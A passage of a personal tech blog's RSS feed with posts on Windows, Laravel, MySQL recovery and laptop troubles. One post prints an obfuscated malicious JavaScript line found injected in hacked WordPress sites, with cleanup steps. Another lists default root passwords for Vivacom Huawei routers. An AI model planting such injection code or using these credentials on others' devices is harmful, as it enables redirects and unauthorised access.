</li>
<li>Reset it typing :
<pre class="EnlighterJSRAW">$1 = New-WinUserLanguageList en-US
Set-WinUserLanguageList $1</pre>
<p>!Note that you should choose which to be your default language. For me it was en-US!</li>
<li>Restart Windows</li>
<li>Add what keyboard you need via standart Windows interfaces</li>
</ol>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.petrovkata.com/2018/05/windows-2018-april-update-how-to-remove-uk-keyboard/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">473</post-id>	</item>
		<item>
		<title>Eloquent adding multiple sort columns</title>
		<link>https://blog.petrovkata.com/2017/12/eloquent-adding-multiple-sort-columns/</link>
					<comments>https://blog.petrovkata.com/2017/12/eloquent-adding-multiple-sort-columns/#respond</comments>
		
		<dc:creator><![CDATA[Veselin Georgiev]]></dc:creator>
		<pubDate>Sun, 17 Dec 2017 21:55:36 +0000</pubDate>
				<category><![CDATA[Technologies]]></category>
		<category><![CDATA[dev]]></category>
		<category><![CDATA[Eloquent]]></category>
		<category><![CDATA[Laravel]]></category>
		<category><![CDATA[MySQL]]></category>
		<guid isPermaLink="false">http://blog.petrovkata.com/?p=457</guid>

					<description><![CDATA[To add serveral column in sort sentence we should  add them in reverse order. For example if we want to sort countries by continent_name and after that by name, it should look like in sql query like  &#8230; SORT BY continent_name ASC, name ASC With Eloquent sort arguments should be added in reverse order: Country::all()-&#62;sortBy(&#8216;name&#8217;)-&#62;sortBy(&#8216;continent_name&#8217;); I [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>To add serveral column in sort sentence we should  add them in reverse order.</p>
<p>For example if we want to sort countries by continent_name and after that by name, it should look like in sql query like  &#8230; SORT BY continent_name ASC, name ASC</p>
<p>With Eloquent sort arguments should be added in reverse order: Country::all()-&gt;<strong>sortBy(&#8216;name&#8217;)-&gt;sortBy(&#8216;continent_name&#8217;)</strong>;</p>
<p>I lost some time on that and decided to add it to post.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.petrovkata.com/2017/12/eloquent-adding-multiple-sort-columns/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">457</post-id>	</item>
		<item>
		<title>WordPress Hacks: jQuery JS script injection</title>
		<link>https://blog.petrovkata.com/2017/10/wordpress-hacks-jquery-js-script-injection/</link>
					<comments>https://blog.petrovkata.com/2017/10/wordpress-hacks-jquery-js-script-injection/#respond</comments>
		
		<dc:creator><![CDATA[Veselin Georgiev]]></dc:creator>
		<pubDate>Tue, 17 Oct 2017 23:53:30 +0000</pubDate>
				<category><![CDATA[Personal]]></category>
		<category><![CDATA[Useful]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[dev]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[Wordpress]]></category>
		<guid isPermaLink="false">http://blog.petrovkata.com/?p=439</guid>

					<description><![CDATA[&#160; document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]));document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0])); This is some code that you can find in your js files leading visitor redirects to other websites. Probably you have been hacked and somebody inserted some code in your wordpress installation. Here you can find more information about the hack &#8211; https://www.polaris64.net/blog/cyber-security/2017/wordpress-hacks-jquery-js-script-injection Here are some instructions that have to be done to fix [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>&nbsp;</p>
<pre class="EnlighterJSRAW" data-enlighter-language="null">document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]));document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]));</pre>
<p>This is some code that you can find in your js files leading visitor redirects to other websites.</p>
<p>Probably you have been hacked and somebody inserted some code in your wordpress installation.</p>
<p><span id="more-439"></span></p>
<p>Here you can find more information about the hack &#8211; https://www.polaris64.net/blog/cyber-security/2017/wordpress-hacks-jquery-js-script-injection</p>
<p>Here are some instructions that have to be done to fix the problem and to be clean:</p>
<ol>
<li>A lot of your .js files have inserted code like that from the beggining of the post.If you don&#8217;t have backup without injected code you have a lot of dirty job to do :(.
<ol>
<li>Search all files containing the code, the bad thing is that it is possible that the injections script probably deleted real files content</li>
<li>If you succeed to somehow restore all your changed files and remove injected code don&#8217;t forget to check for inserted .php files (check for db.php)</li>
<li>Tip for faster find of unwanted code is to look file dates and check all newly edited files</li>
</ol>
</li>
<li>If you have backup, but it&#8217;s old and there are some changes which you&#8217;ve made after the backup i suggest to look again in the file dates and to compare only newly edited files. Check them one by one and fix them</li>
<li>If you have current backup version dont just drag files to be overitten!!! Because in these case if there are newly added files you will leave them there.You can download your injected version for backup and to upload your backup.</li>
</ol>
<p>Don&#8217;t forget to do these things when you clean your wordpress installation:</p>
<ol>
<li>change your passwords (user, db, email (smtp if you saved in some file on the server), external services account information if container in files on the server</li>
<li>ask if there are another user accounts to do same or just change all user passwords!</li>
<li>download all files again and check for injected code again if some file was missed</li>
<li>if you use shared hosting services and there are other websites in the same accout, it is possible to be injected too. Check them too and if there is problem make the same as above for every website (even if it is not wordpress based project)</li>
<li>if you use some caching plugins, scripts or systems you can invalidate the case, because it is possible to keep old version with injected code</li>
</ol>
<p>Good luck!</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.petrovkata.com/2017/10/wordpress-hacks-jquery-js-script-injection/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">439</post-id>	</item>
		<item>
		<title>Acer TravelMate P645 – MFG – I think I will never buy Acer laptop again</title>
		<link>https://blog.petrovkata.com/2016/05/acer-travelmate-p645-mfg-i-think-i-will-never-buy-acer-laptop-again/</link>
					<comments>https://blog.petrovkata.com/2016/05/acer-travelmate-p645-mfg-i-think-i-will-never-buy-acer-laptop-again/#respond</comments>
		
		<dc:creator><![CDATA[Veselin Georgiev]]></dc:creator>
		<pubDate>Mon, 16 May 2016 09:57:18 +0000</pubDate>
				<category><![CDATA[Personal]]></category>
		<category><![CDATA[Technologies]]></category>
		<category><![CDATA[Useful]]></category>
		<category><![CDATA[Acer]]></category>
		<category><![CDATA[AMD]]></category>
		<category><![CDATA[microsoft]]></category>
		<guid isPermaLink="false">http://blog.petrovkata.com/?p=430</guid>

					<description><![CDATA[&#160; Two years ago I decided to buy new laptop, I choosed very carefully and I liked Acer P645 series laptop. Acer are bulding cheap laptops I was thinking, but this is carbon fiber not cheap laptop with latest i7 Intel chipset and AMD video &#8230; So it can&#8217;t be sucks! The laptop is realy [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>&nbsp;</p>
<p>Two years ago I decided to buy new laptop, I choosed very carefully and I liked Acer P645 series laptop.</p>
<p>Acer are bulding cheap laptops I was thinking, but this is carbon fiber not cheap laptop with latest i7 Intel chipset and AMD video &#8230; So it can&#8217;t be sucks!</p>
<p>The laptop is realy thin, the screen is great, but there are some shits that I can&#8217;t accept after a year and a half of using.</p>
<ol>
<li>Who needs this keys at right? Yes, when I use it for three months or more I accustome it, but this is not usefull and not good keys placement<br />
<img data-recalc-dims="1" decoding="async" data-attachment-id="431" data-permalink="https://blog.petrovkata.com/2016/05/acer-travelmate-p645-mfg-i-think-i-will-never-buy-acer-laptop-again/acer-keyboard/" data-orig-file="https://i0.wp.com/blog.petrovkata.com/wp-content/uploads/2016/05/acer-keyboard.jpg?fit=1300%2C731&amp;ssl=1" data-orig-size="1300,731" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="acer-keyboard" data-image-description="" data-image-caption="" data-large-file="https://i0.wp.com/blog.petrovkata.com/wp-content/uploads/2016/05/acer-keyboard.jpg?fit=670%2C377&amp;ssl=1" class="alignnone size-medium wp-image-431" src="https://i0.wp.com/blog.petrovkata.com/wp-content/uploads/2016/05/acer-keyboard-300x169.jpg?resize=300%2C169" alt="acer-keyboard" width="300" height="169" srcset="https://i0.wp.com/blog.petrovkata.com/wp-content/uploads/2016/05/acer-keyboard.jpg?resize=300%2C169&amp;ssl=1 300w, https://i0.wp.com/blog.petrovkata.com/wp-content/uploads/2016/05/acer-keyboard.jpg?resize=768%2C432&amp;ssl=1 768w, https://i0.wp.com/blog.petrovkata.com/wp-content/uploads/2016/05/acer-keyboard.jpg?resize=1024%2C576&amp;ssl=1 1024w, https://i0.wp.com/blog.petrovkata.com/wp-content/uploads/2016/05/acer-keyboard.jpg?resize=668%2C376&amp;ssl=1 668w, https://i0.wp.com/blog.petrovkata.com/wp-content/uploads/2016/05/acer-keyboard.jpg?w=1300&amp;ssl=1 1300w" sizes="(max-width: 300px) 100vw, 300px" /></li>
<li>The lid hinges are not very tight, if you close the lid more thank 60 degres it will fall down and close</li>
<li>There is no support of Acer for Windows 10, there is no good drivers for the video and the laptop can&#8217;t be waked up after sleep mode and you will get blue or black screens of death
<ol>
<li>There are a lot of topics and posts about it &#8211; there is one of them <a href="http://www.overclock.net/t/1462157/travelmate-p645-windows-8-will-not-sleep">http://www.overclock.net/t/1462157/travelmate-p645-windows-8-will-not-sleep</a></li>
<li>I wrote to acer support at every support channel (beleave me there are not many options) and there is no reaction for the problem (this is most expensive acer laptop, I don&#8217;t want to know what is the support for cheaper models)</li>
<li>I spoke with AMD, because there are a lot of opinions that the problem is because of the AMD additional video card, but there is no result. AMD gave me some ideas how to fix it, but none of them helped.</li>
<li>I tested all available drivers and combination between them and no result</li>
<li>In fact the problem persist only for Win 8 and Win 10, if i downgrade to Win 7, everything is working great. (the laptop was selling with Win 8 pro and problem persist even on windows 8)<br />
<img data-recalc-dims="1" loading="lazy" decoding="async" data-attachment-id="432" data-permalink="https://blog.petrovkata.com/2016/05/acer-travelmate-p645-mfg-i-think-i-will-never-buy-acer-laptop-again/acer-bluescreenofdeath/" data-orig-file="https://i0.wp.com/blog.petrovkata.com/wp-content/uploads/2016/05/acer-bluescreenofdeath.jpg?fit=1600%2C900&amp;ssl=1" data-orig-size="1600,900" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="acer-bluescreenofdeath" data-image-description="" data-image-caption="" data-large-file="https://i0.wp.com/blog.petrovkata.com/wp-content/uploads/2016/05/acer-bluescreenofdeath.jpg?fit=670%2C377&amp;ssl=1" class="alignnone size-medium wp-image-432" src="https://i0.wp.com/blog.petrovkata.com/wp-content/uploads/2016/05/acer-bluescreenofdeath-300x169.jpg?resize=300%2C169" alt="acer-bluescreenofdeath" width="300" height="169" srcset="https://i0.wp.com/blog.petrovkata.com/wp-content/uploads/2016/05/acer-bluescreenofdeath.jpg?resize=300%2C169&amp;ssl=1 300w, https://i0.wp.com/blog.petrovkata.com/wp-content/uploads/2016/05/acer-bluescreenofdeath.jpg?resize=768%2C432&amp;ssl=1 768w, https://i0.wp.com/blog.petrovkata.com/wp-content/uploads/2016/05/acer-bluescreenofdeath.jpg?resize=1024%2C576&amp;ssl=1 1024w, https://i0.wp.com/blog.petrovkata.com/wp-content/uploads/2016/05/acer-bluescreenofdeath.jpg?resize=668%2C376&amp;ssl=1 668w, https://i0.wp.com/blog.petrovkata.com/wp-content/uploads/2016/05/acer-bluescreenofdeath.jpg?w=1600&amp;ssl=1 1600w, https://i0.wp.com/blog.petrovkata.com/wp-content/uploads/2016/05/acer-bluescreenofdeath.jpg?w=1340&amp;ssl=1 1340w" sizes="auto, (max-width: 300px) 100vw, 300px" /></li>
</ol>
</li>
<li>Battery pack can&#8217;t be removed, I understand that may be this is for good, but it is not usfull for me</li>
<li>Airflow sucks from the bottom of the chassis, I think this solutions is good only for cheap laptops. But when I spoke with sales consultants they assured me that there is no problem with overheating. Yes there is no problem with overheating but when I use the laptop the fan sound is like boeing 737 engine &#8230;</li>
</ol>
<p>The laptop could be great if the problems above were fixed in some way. The sleep/driver problem and Acer&#8217;s inactivity are major problem which will cause that I will never buy or recommend Acer laptop anymore.</p>
<p>Sorry Acer, but I was waiting more than a year and was trying to find a way to speak with your support or representative to fix the issue. Now I will just buy another brand laptop!</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.petrovkata.com/2016/05/acer-travelmate-p645-mfg-i-think-i-will-never-buy-acer-laptop-again/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">430</post-id>	</item>
		<item>
		<title>Synaptics Two Finger tap in Windows 10 not working – Solved</title>
		<link>https://blog.petrovkata.com/2015/11/synaptics-two-finger-tap-in-windows-10-not-working/</link>
					<comments>https://blog.petrovkata.com/2015/11/synaptics-two-finger-tap-in-windows-10-not-working/#respond</comments>
		
		<dc:creator><![CDATA[Veselin Georgiev]]></dc:creator>
		<pubDate>Mon, 02 Nov 2015 22:50:07 +0000</pubDate>
				<category><![CDATA[Personal]]></category>
		<category><![CDATA[Useful]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[Windows 10]]></category>
		<guid isPermaLink="false">http://blog.petrovkata.com/?p=415</guid>

					<description><![CDATA[The problem is solved, new DWORD regstry record should be added. HKEY_CURRENT_USER\Software\Synaptics\SynTP\TouchPadPS2 or HKEY_CURRENT_USER\Software\Synaptics\SynTP\TouchPadPS2TM2843 if exists in registry tree if 2FingerTapAction exists should change value to 2 (2 means double click, 3 means middle button click). If not exists add new DWORD 32 bit with name 2FingerTabAction with value 2. Restart windows and after that everything should [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>The problem is solved, new DWORD regstry record should be added.</p>
<p>HKEY_CURRENT_USER\Software\Synaptics\SynTP\TouchPadPS2</p>
<p>or</p>
<p>HKEY_CURRENT_USER\Software\Synaptics\SynTP\TouchPadPS2TM2843 if exists in registry tree</p>
<p>if 2FingerTapAction exists should change value to 2 (2 means double click, 3 means middle button click). If not exists add new DWORD 32 bit with name 2FingerTabAction with value 2.</p>
<p>Restart windows and after that everything should be OK!</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.petrovkata.com/2015/11/synaptics-two-finger-tap-in-windows-10-not-working/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">415</post-id>	</item>
		<item>
		<title>InnoDB: File (unknown): ‘read’ returned OS error 0. Cannot continue operation</title>
		<link>https://blog.petrovkata.com/2015/08/innodb-file-unknown-read-returned-os-error-0-cannot-continue-operation/</link>
					<comments>https://blog.petrovkata.com/2015/08/innodb-file-unknown-read-returned-os-error-0-cannot-continue-operation/#respond</comments>
		
		<dc:creator><![CDATA[Veselin Georgiev]]></dc:creator>
		<pubDate>Mon, 24 Aug 2015 14:08:06 +0000</pubDate>
				<category><![CDATA[Personal]]></category>
		<category><![CDATA[Technologies]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[IT]]></category>
		<category><![CDATA[MySQL]]></category>
		<guid isPermaLink="false">http://blog.petrovkata.com/?p=408</guid>

					<description><![CDATA[Честито! 🙂 Може би имате сериозен проблем с mysql, който може да се степенува в скалата от 1 до 6, където 6 не е отлечен 🙂 а точно обратното. (ще стане ясно защо малко по-долу) Наскоро се сблъсках точно с този проблем при стартирането на база данни с InnoDB таблици. При мен проблема се оказа [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Честито! <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<p>Може би имате сериозен проблем с <strong>mysql</strong>, който може да се степенува в скалата от 1 до 6, където 6 не е отлечен <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /> а точно обратното. (ще стане ясно защо малко по-долу)</p>
<p>Наскоро се сблъсках точно с този проблем при стартирането на база данни с InnoDB таблици. При мен проблема се оказа в следствие с неточност при записването на логовете в &#8220;ib_logfile&#8221;. Проблема може да е в следсвие на неправилно спиране на сървъра или проблем с хард диска, или пък нещо различно, което е свързано с процеса за писане във файла като цяло. Аз лично смятам, че е заради принудително спиране на сървъра, тъй като проблема се яви на Development машина, която като цяло бива спирана от време на време по този начин.</p>
<p><span id="more-408"></span></p>
<p>Неприятното в случая при мен е, че на машината има стотици бази данни, като почти във всички има InnoDB таблици и беше трудно да прегледам всяка една по една за несъответствия. Така, че моя съвет е да се опитате да се сетите кои са последните бази, в които са правени промени в схемата на таблиците. Аз лично извадих късмет и втората база, която проверих се оказа виновника.</p>
<p>Разбира се, за да можете да гледате базите трябва да стартирате първо MySQL сървъра, като точно тук идва 6 степенната скала на проблем.<br />
А именно можете да използвате &#8220;<strong>innodb_force_recovery</strong>&#8220;, което приема стойности от 1 до 6, и можете да добавите реда в началото на my.ini файла при стартиране</p>
<ul>
<li>Mode 1 &#8211; Doesn&#8217;t crash MySQL when it sees a corrupt page</li>
<li>Mode 2 &#8211; Doesn&#8217;t run background operations</li>
<li>Mode 3 &#8211; Doesn&#8217;t attempt to roll back transactions</li>
<li>Mode 4 &#8211; Doesn&#8217;t calculate stats or apply stored/buffered changes</li>
<li>Mode 5 &#8211; Doesn&#8217;t look at the undo logs during start-up</li>
<li>Mode 6 &#8211; Doesn&#8217;t roll-forward from the redo logs (ib_logfiles) during start-up</li>
</ul>
<p>!!! Важно е да знаете, че трябва да направите backup на всичките таблици, както и на <strong>ibdata ib_logfile</strong>, както и други файловете с логове и data файлове, които се намират в директорията /data на mysql. Особено, ако стигнете до стойности 4, 5, 6, които могат да унищожат почти безвъзвратно данните ви. Също така имайте предвид, че 4,5,6 активират <strong>Read Only Mode </strong>и можете само да четете данните.<br />
!!! Много важно е да имате предвид, че трябва да започнете с най-малкото число 1 и да опитате да стартирате, ако не успява да увеличавате с +1 и така нататък!</p>
<p>Аз успях да стартирам със стойност 6, успях да намеря коя база причинява проблема (при опит за отваряне и repair на таблици MySQL сървъра crash-ваше). За жалост не успях да спася данните от базата, тъй като при всеки опит за итерация MySQL-а crash-ваше, но някак успях да drop-всички таблици и след това да изтрия директорията на базата в /data директорията. Не успях да Drop-на таблицата с команда в MySQL, отново поради crash-ване на сървъра при всеки опит. Определено е важно да се правят регулярни backup-и за въстанояване при такива ситуации! <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<p>След като затрих директорията смених имената на <strong>ib_logfile0</strong> и <strong>ib_logfile1</strong> съответно на <strong>ib_logfile0_bak</strong> и <strong>ib_logfile1_bak, </strong>за да се прегенерират отново. Имайте предвид, че ibdata файла трябва да бъде пазен много, защото без него не можете да възстановите данните. Махнах innodb_force_recovery от my.ini и стартирах наново сървъра. Логовете се генерираха и всичко изглеждаше да работи. Върнах от backup базата, която се наложи за затрия грубо и си &#8220;отворих бира&#8221; след като няколко часа четене и ръчкане бяха загубени :).</p>
<p>Не твърдя, че решението ми е приложимо за production сървъри, поради затриването на данни, за това ще приложа малко връзки към решения, на които се натъкнах при борбата с проблема, ако могат да ви бъдат полезни:<br />
<a href="https://twindb.com/recover-corrupt-mysql-database/" target="_blank">https://twindb.com/recover-corrupt-mysql-database/</a></p>
<p><a href="https://twindb.com/repair-corrupted-innodb-table-with-corruption-in-secondary-index/" target="_blank">https://twindb.com/repair-corrupted-innodb-table-with-corruption-in-secondary-index/</a></p>
<p><a href="https://www.percona.com/forums/questions-discussions/mysql-and-percona-server/11217-corrupted-innodb-table-crashing-mysql-instance-how-to-recover-table" target="_blank">https://www.percona.com/forums/questions-discussions/mysql-and-percona-server/11217-corrupted-innodb-table-crashing-mysql-instance-how-to-recover-table</a></p>
<p><a href="http://dev.mysql.com/doc/refman/5.6/en/forcing-innodb-recovery.html" target="_blank">http://dev.mysql.com/doc/refman/5.6/en/forcing-innodb-recovery.html</a></p>
<p><a href="https://forums.cpanel.net/threads/innodb-corruption-repair-guide.418722/" target="_blank">https://forums.cpanel.net/threads/innodb-corruption-repair-guide.418722/</a></p>
<p><a href="https://launchpad.net/mydumper" target="_blank">https://launchpad.net/mydumper</a> &#8211; ако искате да dump-ите много бази едновременно докато сте влезнали в Mode 6 и сте решили да преинсталирате целия сървър</p>
<p>&nbsp;</p>
<p>Прилагам и малко от логовете, които се случваха в процеса на ръчкане:</p>
<p><strong>Когато MySQL отказва да стартира въобще:</strong><br />
2015-08-24 15:39:17 8376 [Note] Plugin &#8216;FEDERATED&#8217; is disabled.<br />
2015-08-24 15:39:17 8376 [Note] InnoDB: Using atomics to ref count buffer pool pages<br />
2015-08-24 15:39:17 8376 [Note] InnoDB: The InnoDB memory heap is disabled<br />
2015-08-24 15:39:17 8376 [Note] InnoDB: Mutexes and rw_locks use Windows interlocked functions<br />
2015-08-24 15:39:17 8376 [Note] InnoDB: Memory barrier is not used<br />
2015-08-24 15:39:17 8376 [Note] InnoDB: Compressed tables use zlib 1.2.3<br />
2015-08-24 15:39:17 8376 [Note] InnoDB: Not using CPU crc32 instructions<br />
2015-08-24 15:39:17 8376 [Note] InnoDB: Initializing buffer pool, size = 32.0M<br />
2015-08-24 15:39:17 8376 [Note] InnoDB: Completed initialization of buffer pool<br />
2015-08-24 15:39:17 8376 [Note] InnoDB: Highest supported file format is Barracuda.<br />
2015-08-24 15:39:17 8376 [Note] InnoDB: The log sequence numbers 2254979312 and 2254979312 in ibdata files do not match the log sequence number 4797004440 in the ib_logfiles!<br />
2015-08-24 15:39:17 8376 [Note] InnoDB: Database was not shutdown normally!<br />
2015-08-24 15:39:17 8376 [Note] InnoDB: Starting crash recovery.<br />
2015-08-24 15:39:17 8376 [Note] InnoDB: Reading tablespace information from the .ibd files&#8230;<br />
2015-08-24 15:39:17 8376 [ERROR] InnoDB: File (unknown): &#8216;read&#8217; returned OS error 0. Cannot continue operation</p>
<p><strong>Когато стартира с активиран innodb_force_recovery = 6:</strong><br />
2015-08-24 15:47:19 7984 [Note] Plugin &#8216;FEDERATED&#8217; is disabled.<br />
2015-08-24 15:47:19 7984 [Note] InnoDB: Started in read only mode<br />
2015-08-24 15:47:19 7984 [Note] InnoDB: Using atomics to ref count buffer pool pages<br />
2015-08-24 15:47:19 7984 [Note] InnoDB: The InnoDB memory heap is disabled<br />
2015-08-24 15:47:19 7984 [Note] InnoDB: Mutexes and rw_locks use Windows interlocked functions<br />
2015-08-24 15:47:19 7984 [Note] InnoDB: Memory barrier is not used<br />
2015-08-24 15:47:19 7984 [Note] InnoDB: Compressed tables use zlib 1.2.3<br />
2015-08-24 15:47:19 7984 [Note] InnoDB: Not using CPU crc32 instructions<br />
2015-08-24 15:47:19 7984 [Note] InnoDB: Disabling background IO write threads.<br />
2015-08-24 15:47:19 7984 [Note] InnoDB: Initializing buffer pool, size = 32.0M<br />
2015-08-24 15:47:19 7984 [Note] InnoDB: Completed initialization of buffer pool<br />
2015-08-24 15:47:19 7984 [Note] InnoDB: Highest supported file format is Barracuda.<br />
2015-08-24 15:47:19 7984 [Note] InnoDB: The user has set SRV_FORCE_NO_LOG_REDO on, skipping log redo<br />
2015-08-24 15:47:19 7984 [Note] InnoDB: 5.6.24 started; log sequence number 0<br />
2015-08-24 15:47:19 7984 [Note] InnoDB: !!! innodb_force_recovery is set to 6 !!!</p>
<p><strong>Когато прегенерира лог файловете за всяка база се генерира следното:</strong><br />
2015-08-24 15:56:53 6812 [Note] InnoDB: 5.6.24 started; log sequence number 2254979596<br />
2015-08-24 15:56:53 6812 [Note] Server hostname (bind-address): &#8216;*&#8217;; port: 3306<br />
2015-08-24 15:56:53 dcc InnoDB: Error: page 29070 log sequence number 4796820375<br />
InnoDB: is in the future! Current system log sequence number 2254979606.<br />
InnoDB: Your database may be corrupt or you may have copied the InnoDB<br />
InnoDB: tablespace but not the InnoDB log files. See<br />
InnoDB: http://dev.mysql.com/doc/refman/5.6/en/forcing-innodb-recovery.html<br />
InnoDB: for more information.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.petrovkata.com/2015/08/innodb-file-unknown-read-returned-os-error-0-cannot-continue-operation/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">408</post-id>	</item>
		<item>
		<title>Default-ни пароли за Huawei рутерите на Vivacom</title>
		<link>https://blog.petrovkata.com/2015/08/default-ni-paroli-za-huawei-ruterite-na-vivacom/</link>
					<comments>https://blog.petrovkata.com/2015/08/default-ni-paroli-za-huawei-ruterite-na-vivacom/#comments</comments>
		
		<dc:creator><![CDATA[Veselin Georgiev]]></dc:creator>
		<pubDate>Mon, 10 Aug 2015 12:07:10 +0000</pubDate>
				<category><![CDATA[Personal]]></category>
		<category><![CDATA[IT]]></category>
		<category><![CDATA[Vivacom]]></category>
		<guid isPermaLink="false">http://blog.petrovkata.com/?p=401</guid>

					<description><![CDATA[Виваком, направиха интересно решение за управление на рутерите, които предоставят при абонаментни услуги, като централизираха управлението им през my.contact.bg. Това от една страна е страхотно решение за обикновените потребители, които не им трябва да могат да разбират от конфигуриране на рутера си вкъщи, както и добавиха по-голяма сигурност с това, че добавиха уникална парола за [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Виваком, направиха интересно решение за управление на рутерите, които предоставят при абонаментни услуги, като централизираха управлението им през my.contact.bg.</p>
<p>Това от една страна е страхотно решение за обикновените потребители, които не им трябва да могат да разбират от конфигуриране на рутера си вкъщи, както и добавиха по-голяма сигурност с това, че добавиха уникална парола за всяка отделно устройство. Но това от своя страна води и до малко проблеми за power потребителите, които искат да си конфигурират рутера по конкретен начин, но не могат да го достъпят.</p>
<p>За да може да се логнете в устройството с неговите данни по подразбиране трябва да направите следните стъпки, като е важно да ги следвате стриктно, тъй като в момента, в който устройството бъде включено в интернет се ъпдейтва и взема настройките от Vivacom.</p>
<ol>
<li>Изключвате WAN кабела</li>
<li>С кламер, или друг остър предмет, натискате два пъти копчето за фабричен рестарт, като при второто натискане, задържате малко, докато премигнат лампите на устройството</li>
<li>Логвате се през Wireless към новата мрежа, най често е с име VIVACOM_NET</li>
<li>Проверявате в настройките на Wireless адаптера за IP Range-а, в който Ви е раздало IP устройството</li>
<li>Отваряте в браузър адреса на рейнджа, като накрая вписвате .1 (пример: 192.168.1<strong>.1</strong>)</li>
<li>В логина изписвате някоя от следните комбинации на потребителско име и парола в зависимост от модела на устройството:</li>
</ol>
<p>Huawei HG530:<br />
username: root<br />
password: warmWLspot</p>
<p>Huawei HG532e:<br />
username: root<br />
password: root</p>
<p>Huawei HG231:<br />
username: root<br />
password: vivaNETway</p>
<p>Ако моделът на рутера Ви е друг, може да видите дали данните от тук няма да са Ви полезни: http://www.slideshare.net/Huanetwork/12-18-list-of-usernames-and-passwords-for-huawei-routers</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.petrovkata.com/2015/08/default-ni-paroli-za-huawei-ruterite-na-vivacom/feed/</wfw:commentRss>
			<slash:comments>6</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">401</post-id>	</item>
	</channel>
</rss><!--
Performance optimized by W3 Total Cache. Learn more: https://www.boldgrid.com/w3-total-cache/?utm_source=w3tc&utm_medium=footer_comment&utm_campaign=free_plugin

Object Caching 11/167 objects using Redis
Page Caching using Redis 
Lazy Loading (feed)
Minified using Redis
Database Caching using Redis

Served from: blog.petrovkata.com @ 2026-10-18 10:45:39 by W3 Total Cache
-->